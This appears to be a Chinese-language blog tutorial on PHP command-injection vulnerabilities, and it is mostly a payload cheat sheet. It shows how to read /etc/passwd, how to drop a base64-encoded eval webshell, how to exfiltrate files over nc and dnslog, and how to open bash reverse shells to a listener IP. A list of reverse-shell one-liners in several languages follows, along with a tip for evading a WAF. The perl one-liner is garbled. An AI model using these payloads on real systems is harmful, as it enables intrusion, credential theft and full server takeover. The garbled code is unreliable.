您现在的位置是:首页 >技术杂谈 >【网络安全】命令执行漏洞网站首页技术杂谈
【网络安全】命令执行漏洞
命令执行漏洞
命令执行漏洞原理
应用程序中有时候需要调用一些执行系统命令的函数,在php中常见的为system
、exec
、shell_exec
、passthru
、proc_poen
、popen
等函数用来执行系统命令。当黑客能控制这些函数的参数时,就可以讲恶意的系统命令拼接到正常的命令中,就会命令执行攻击,这就是命令执行漏洞。
危害
- 继承web服务器的权限执行系统命令
- 继承web服务器程序权限,读写文件
- 反弹shell
- 控制整个网站
- 控制整个服务器
检测方法
有回显检测方法
常用方法:
; (分号) 从左到右执行
| (管道符) 将见面命令的输入为后面命令的标准输入
&(后台任务符号) 命令从左到右执行
&&(与) 逻辑与,前面命令执行成功后才会执行
||(或) 逻辑或,前面执行失败才能执行
`(反引号)当命令解析时,首先执行反引号之间的操作
$(命令替换符)与反应号功能一样
有回显常用判断方式
win 操作系统
type c:windowswin.ini
linux 操作系统
cat /etc/passwd
无回显且有写入权限
- 传webshell到服务器中
|echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php #base64解码后写入到shell.php文件中
-
查看是否可以访问
-
使用webshell工具连接
无回显利用dnslog平台检测
借助dnslog.cn查看访问
链接: http://dnslog.cn/
- 访问dnslog平台生成的域名
`whoami`.7w1v2u.dnslog.cn
- 查看dnslog平台是否有访问信息
无回显利用bp检测
利用原理与dnslog是一样的
- 找到bp相关模块
-
复制dns地址
-
访问此地址
|ping -c 4 m1odth5coly60euvoihemfn5kwqnec.burpcollaborator.net
- 刷新bp查看结果
无回显利用netcat命令检测
- 使用kali监听9999端口
- 漏洞位置输入命令
|nc 192.168.0.107 9999 </etc/passwd
- 查看kali生成的文件信息
命令执行漏洞nc反弹shell
- 使用kali监听
nc -vlnp 8080
- 漏洞位置执行命令
|/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.107/8080 0>&1'
常用的shell反弹命令:
bash shell 执行
||/bin/bash -c ‘bash -i >& /dev/tcp/192.168.0.124/8080 0>&1’
perl -e ‘use
Socket; i = " 10.0.0.1 " ; i="10.0.0.1"; i="10.0.0.1";p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(
“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,inetaton(i)))){open(STDIN,“>&S”);open(STD
OUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh -i”);};’
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co
nnect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i
<&%d >&%d 2>&%d”,f,f,f)’
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,“-c”,“exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line;
do $line 2>&5 >&5; done”] as String[])
p.waitFor()
tips: 如果遇到waf连接可以把语句进行base64
加密后输入